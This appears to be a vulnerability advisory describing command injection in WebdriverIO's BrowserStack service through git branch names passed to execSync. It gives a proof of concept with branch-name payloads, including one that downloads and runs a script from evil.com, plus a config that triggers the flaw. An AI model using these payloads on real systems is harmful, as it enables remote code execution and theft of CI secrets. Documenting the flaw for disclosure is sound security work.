WebdriverIO BrowserStack Service has a Command Injection issue

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

1. Attacker creates a malicious git repository with a branch name containing command injection payload
2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
4. Branch name is interpolated into shell commands without sanitization
5. Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

• Remote Code Execution on CI/CD servers or developer machines
• Information Disclosure (environment variables, secrets, credentials)
• Data Exfiltration (source code, SSH keys, configuration files)
• System Compromise (backdoor installation, lateral movement)
• Supply Chain Attack (modify build artifacts)